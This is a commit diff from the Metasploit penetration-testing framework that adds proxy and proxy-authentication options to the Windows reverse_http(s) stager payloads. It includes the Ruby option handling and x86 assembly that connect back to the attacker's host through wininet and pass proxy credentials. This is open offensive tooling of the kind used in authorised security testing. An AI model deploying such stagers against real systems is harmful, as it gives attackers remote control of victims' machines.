Adds proxy (with authentication) support to reverse_http(s)

This commit is contained in:
HD Moore 2015-03-16 00:03:31 -05:00
parent bb81107e51
commit 7e89281485
4 changed files with 132 additions and 35 deletions

View File

@ -27,7 +27,12 @@ module Payload::Windows::ReverseHttp
super
register_advanced_options(
[
OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptString.new('StagerProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('StagerProxyPort', [false, 'An optional proxy server port']),
OptString.new('StagerProxyUser', [false, 'An optional proxy server username']),
OptString.new('StagerProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('StagerProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
], self.class)
end
@ -49,7 +54,12 @@ module Payload::Windows::ReverseHttp
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC']
exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['StagerProxyHost'],
proxy_port: datastore['StagerProxyPort'],
proxy_user: datastore['StagerProxyUser'],
proxy_pass: datastore['StagerProxyPass'],
proxy_type: datastore['StagerProxyType']
}
generate_reverse_http(conf)
@ -75,7 +85,7 @@ module Payload::Windows::ReverseHttp
#
def generate_uri
uri_req_len = datastore['HTTPStagerURILength'].to_i
uri_req_len = datastore['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
@ -83,7 +93,7 @@ module Payload::Windows::ReverseHttp
end
if uri_req_len < 5
raise ArgumentError, "Minimum HTTPStagerURILength is 5"
raise ArgumentError, "Minimum StagerURILength is 5"
end
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
@ -112,6 +122,9 @@ module Payload::Windows::ReverseHttp
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Proxy options?
space += 200
# The final estimated size
space
end
@ -123,13 +136,37 @@ module Payload::Windows::ReverseHttp
#
# options should contain:
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
# proxy_host: [proxy-server]
# proxy_port: [port]
# proxy_user: [username]
# proxy_pass: [password]
# proxy_type: [HTTP|SOCKS]
#
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
if proxy_enabled
if opts[:proxy_type].to_s.downcase == "socks"
proxy_info << "socks="
else
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
http_open_flags = 0
if opts[:ssl]
@ -153,14 +190,11 @@ module Payload::Windows::ReverseHttp
asm = %Q^
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
@ -172,45 +206,103 @@ module Payload::Windows::ReverseHttp
set_retry:
push.i8 8 ; retry 8 times should be enough
pop edi
xor ebx, ebx ; push 8 zeros ([1]-[8])
mov ecx, edi
push_zeros:
push ebx
loop push_zeros
internetopen:
; DWORD dwFlags [1]
; LPCTSTR lpszProxyBypass (NULL) [2]
; LPCTSTR lpszProxyName (NULL) [3]
; DWORD dwAccessType (PRECONFIG = 0) [4]
; LPCTSTR lpszAgent (NULL) [5]
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
xor ebx, ebx ; Set ebx to NULL to use in future arguments
^
if proxy_enabled
asm << %Q^
call get_proxy_server
db "#{proxy_info}", 0x00
get_proxy_server:
pop ecx
internetopen:
push ebx ; DWORD dwFlags
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
push ecx ; LPCTSTR lpszProxyName (NULL)
push.i8 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
else
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
end
asm << %Q^
internetconnect:
; DWORD_PTR dwContext (NULL) [6]
; dwFlags [7]
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL)
push ebx ; username (NULL)
push #{opts[:port]} ; PORT
call got_server_uri ; double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
server_uri: ; server_host; server_uri is saved in EDI for later
db "#{opts[:url]}", 0x00
got_server_host:
push eax ; HINTERNET hInternet
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
mov esi, eax ; Store hConnection in esi
^
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
# doesn't set the Proxy-Authorization header on the CONNECT request.
if proxy_enabled && proxy_user
asm << %Q^
call set_proxy_username
proxy_username:
db "#{proxy_user}",0x00
set_proxy_username:
pop ecx ; Save the proxy username into ecx
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
push ecx ; LPVOID lpBuffer (username)
push.i8 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
if proxy_enabled && proxy_pass
asm << %Q^
call set_proxy_password
proxy_password:
db "#{proxy_pass}",0x00
set_proxy_password:
pop ecx ; Save the proxy password into ecx
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
push ecx ; LPVOID lpBuffer (password)
push.i8 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
asm << %Q^
httpopenrequest:
; dwContext (NULL) [8]
push ebx ; dwContext (NULL)
push #{"0x%.8x" % http_open_flags} ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
push edi ; server URI
push ebx ; method
push eax ; hConnection
push esi ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
xchg esi, eax ; save hHttpRequest in esi

View File

@ -51,7 +51,12 @@ module Payload::Windows::ReverseHttps
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC']
exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['StagerProxyHost'],
proxy_port: datastore['StagerProxyPort'],
proxy_user: datastore['StagerProxyUser'],
proxy_pass: datastore['StagerProxyPass'],
proxy_type: datastore['StagerProxyType']
}
generate_reverse_https(conf)

View File

@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http'
module Metasploit3
CachedSize = 306
CachedSize = 311
include Msf::Payload::Stager
include Msf::Payload::Windows

View File

@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https'
module Metasploit3
CachedSize = 326
CachedSize = 331
include Msf::Payload::Stager
include Msf::Payload::Windows